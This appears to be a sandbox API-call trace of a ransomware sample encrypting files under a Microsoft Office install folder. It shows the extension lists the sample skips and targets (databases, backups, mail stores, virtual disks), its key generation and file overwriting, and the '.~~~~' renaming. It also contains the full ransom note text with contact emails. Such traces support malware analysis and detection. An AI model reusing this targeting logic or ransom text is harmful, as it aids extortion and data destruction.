	[0146.358] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.358] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.358] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.359] CloseHandle (hObject=0x138) returned 1
	[0146.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28704c8
	[0146.359] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn.~~~~")) returned 1
	[0146.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28704c8 | out: hHeap=0x300000) returned 1
	[0146.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.618] GetLastError () returned 0x0
	[0146.619] RtlWakeConditionVariable () returned 0x0
	[0146.619] GetCurrentThreadId () returned 0x9cc
	[0146.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.621] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0146.621] WriteFile (in: hFile=0x138, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0146.622] CloseHandle (hObject=0x138) returned 1
	[0146.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3966a8 | out: hHeap=0x300000) returned 1
	[0146.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x396598 | out: hHeap=0x300000) returned 1
	[0146.623] RtlWakeConditionVariable () returned 0x0
	[0146.623] GetCurrentThreadId () returned 0x9cc
	[0146.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".scr") returned 0x0
	[0146.623] lstrlenW (lpString=".cmd") returned 4
	[0146.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".cmd") returned 0x0
	[0146.623] lstrlenW (lpString=".dll") returned 4
	[0146.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dll") returned 0x0
	[0146.623] lstrlenW (lpString=".bat") returned 4
	[0146.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".bat") returned 0x0
	[0146.623] lstrlenW (lpString=".cpl") returned 4
	[0146.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".cpl") returned 0x0
	[0146.624] lstrlenW (lpString=".sys") returned 4
	[0146.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".sys") returned 0x0
	[0146.624] lstrlenW (lpString=".msc") returned 4
	[0146.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".msc") returned 0x0
	[0146.624] lstrlenW (lpString=".com") returned 4
	[0146.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".com") returned 0x0
	[0146.624] lstrlenW (lpString=".lnk") returned 4
	[0146.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".lnk") returned 0x0
	[0146.625] lstrlenW (lpString=".msp") returned 4
	[0146.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".msp") returned 0x0
	[0146.625] lstrlenW (lpString=".pif") returned 4
	[0146.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".pif") returned 0x0
	[0146.625] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.628] lstrlenW (lpString=".sqb") returned 4
	[0146.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".sqb") returned 0x0
	[0146.628] lstrlenW (lpString=".ost") returned 4
	[0146.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".ost") returned 0x0
	[0146.628] lstrlenW (lpString=".txt") returned 4
	[0146.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".txt") returned 0x0
	[0146.628] lstrlenW (lpString=".mdt") returned 4
	[0146.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".mdt") returned 0x0
	[0146.629] lstrlenW (lpString=".BDB") returned 4
	[0146.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".BDB") returned 0x0
	[0146.629] lstrlenW (lpString=".eql") returned 4
	[0146.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".eql") returned 0x0
	[0146.629] lstrlenW (lpString=".DBF") returned 4
	[0146.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DBF") returned 0x0
	[0146.630] lstrlenW (lpString=".EQL") returned 4
	[0146.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".EQL") returned 0x0
	[0146.630] lstrlenW (lpString=".FDB") returned 4
	[0146.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".FDB") returned 0x0
	[0146.630] lstrlenW (lpString=".EDB") returned 4
	[0146.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".EDB") returned 0x0
	[0146.631] lstrlenW (lpString=".DACPAC") returned 7
	[0146.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DACPAC") returned 0x0
	[0146.631] lstrlenW (lpString=".VHD") returned 4
	[0146.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".VHD") returned 0x0
	[0146.631] lstrlenW (lpString=".DBV") returned 4
	[0146.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DBV") returned 0x0
	[0146.642] lstrlenW (lpString=".dacpac") returned 7
	[0146.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dacpac") returned 0x0
	[0146.642] lstrlenW (lpString=".sdf") returned 4
	[0146.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".sdf") returned 0x0
	[0146.642] lstrlenW (lpString=".accdb") returned 6
	[0146.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".accdb") returned 0x0
	[0146.647] lstrlenW (lpString=".DBX") returned 4
	[0146.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DBX") returned 0x0
	[0146.652] lstrlenW (lpString=".MDT") returned 4
	[0146.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".MDT") returned 0x0
	[0146.654] lstrlenW (lpString=".SQB") returned 4
	[0146.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".SQB") returned 0x0
	[0146.654] lstrlenW (lpString=".vhd") returned 4
	[0146.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".vhd") returned 0x0
	[0146.655] lstrlenW (lpString=".bac") returned 4
	[0146.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".bac") returned 0x0
	[0146.655] lstrlenW (lpString=".mdf") returned 4
	[0146.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".mdf") returned 0x0
	[0146.655] lstrlenW (lpString=".BAK") returned 4
	[0146.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".BAK") returned 0x0
	[0146.655] lstrlenW (lpString=".BAC") returned 4
	[0146.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".BAC") returned 0x0
	[0146.655] lstrlenW (lpString=".dbs") returned 4
	[0146.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dbs") returned 0x0
	[0146.655] lstrlenW (lpString=".vhdx") returned 5
	[0146.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".vhdx") returned 0x0
	[0146.655] lstrlenW (lpString=".NDF") returned 4
	[0146.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".NDF") returned 0x0
	[0146.655] lstrlenW (lpString=".dat") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dat") returned 0x0
	[0146.656] lstrlenW (lpString=".DBS") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DBS") returned 0x0
	[0146.656] lstrlenW (lpString=".CKP") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".CKP") returned 0x0
	[0146.656] lstrlenW (lpString=".edb") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".edb") returned 0x0
	[0146.656] lstrlenW (lpString=".PST") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".PST") returned 0x0
	[0146.656] lstrlenW (lpString=".dbf") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dbf") returned 0x0
	[0146.656] lstrlenW (lpString=".SQL") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".SQL") returned 0x0
	[0146.656] lstrlenW (lpString=".pst") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".pst") returned 0x0
	[0146.656] lstrlenW (lpString=".dbv") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dbv") returned 0x0
	[0146.656] lstrlenW (lpString=".SDF") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".SDF") returned 0x0
	[0146.656] lstrlenW (lpString=".dtxs") returned 5
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dtxs") returned 0x0
	[0146.656] lstrlenW (lpString=".db3") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".db3") returned 0x0
	[0146.656] lstrlenW (lpString=".OST") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".OST") returned 0x0
	[0146.656] lstrlenW (lpString=".dbx") returned 4
	[0146.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dbx") returned 0x0
	[0146.657] lstrlenW (lpString=".DB3") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DB3") returned 0x0
	[0146.657] lstrlenW (lpString=".DAT") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DAT") returned 0x0
	[0146.657] lstrlenW (lpString=".VHDX") returned 5
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".VHDX") returned 0x0
	[0146.657] lstrlenW (lpString=".ndf") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".ndf") returned 0x0
	[0146.657] lstrlenW (lpString=".DB") returned 3
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DB") returned 0x0
	[0146.657] lstrlenW (lpString=".sql") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".sql") returned 0x0
	[0146.657] lstrlenW (lpString=".MYD") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".MYD") returned 0x0
	[0146.657] lstrlenW (lpString=".DBT") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DBT") returned 0x0
	[0146.657] lstrlenW (lpString=".ACCDB") returned 6
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".ACCDB") returned 0x0
	[0146.657] lstrlenW (lpString=".fdb") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".fdb") returned 0x0
	[0146.657] lstrlenW (lpString=".bak") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".bak") returned 0x0
	[0146.657] lstrlenW (lpString=".myd") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".myd") returned 0x0
	[0146.657] lstrlenW (lpString=".DTXS") returned 5
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".DTXS") returned 0x0
	[0146.657] lstrlenW (lpString=".ckp") returned 4
	[0146.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".ckp") returned 0x0
	[0146.658] lstrlenW (lpString=".dbt") returned 4
	[0146.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".dbt") returned 0x0
	[0146.658] lstrlenW (lpString=".db") returned 3
	[0146.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".db") returned 0x0
	[0146.658] lstrlenW (lpString=".TXT") returned 4
	[0146.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".TXT") returned 0x0
	[0146.658] lstrlenW (lpString=".MDF") returned 4
	[0146.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".MDF") returned 0x0
	[0146.658] lstrlenW (lpString=".bdb") returned 4
	[0146.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".bdb") returned 0x0
	[0146.658] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0146.658] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0620) returned 1
	[0146.659] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0146.659] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0146.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.660] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26664985377) returned 1
	[0146.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0d1b950, dwHighDateTime=0x1d60e1e)) 
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280beb0
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280beb0 | out: hHeap=0x300000) returned 1
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0600
	[0146.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28707c0
	[0146.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0600 | out: hHeap=0x300000) returned 1
	[0146.661] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.661] GetLastError () returned 0x0
	[0146.661] GetLastError () returned 0x0
	[0146.661] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.661] GetLastError () returned 0x0
	[0146.661] GetLastError () returned 0x0
	[0146.662] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.665] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.665] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.667] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.667] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.672] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.672] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.672] CloseHandle (hObject=0x138) returned 1
	[0146.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x3a0620
	[0146.672] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll.~~~~")) returned 1
	[0146.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0620 | out: hHeap=0x300000) returned 1
	[0146.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.675] GetLastError () returned 0x0
	[0146.675] RtlWakeConditionVariable () returned 0x0
	[0146.676] GetCurrentThreadId () returned 0x9cc
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".scr") returned 0x0
	[0146.676] lstrlenW (lpString=".cmd") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".cmd") returned 0x0
	[0146.676] lstrlenW (lpString=".dll") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dll") returned 0x0
	[0146.676] lstrlenW (lpString=".bat") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".bat") returned 0x0
	[0146.676] lstrlenW (lpString=".cpl") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".cpl") returned 0x0
	[0146.676] lstrlenW (lpString=".sys") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".sys") returned 0x0
	[0146.676] lstrlenW (lpString=".msc") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".msc") returned 0x0
	[0146.676] lstrlenW (lpString=".com") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".com") returned 0x0
	[0146.676] lstrlenW (lpString=".lnk") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".lnk") returned 0x0
	[0146.676] lstrlenW (lpString=".msp") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".msp") returned 0x0
	[0146.676] lstrlenW (lpString=".pif") returned 4
	[0146.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".pif") returned 0x0
	[0146.677] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.827] lstrlenW (lpString=".sqb") returned 4
	[0146.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".sqb") returned 0x0
	[0146.827] lstrlenW (lpString=".ost") returned 4
	[0146.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".ost") returned 0x0
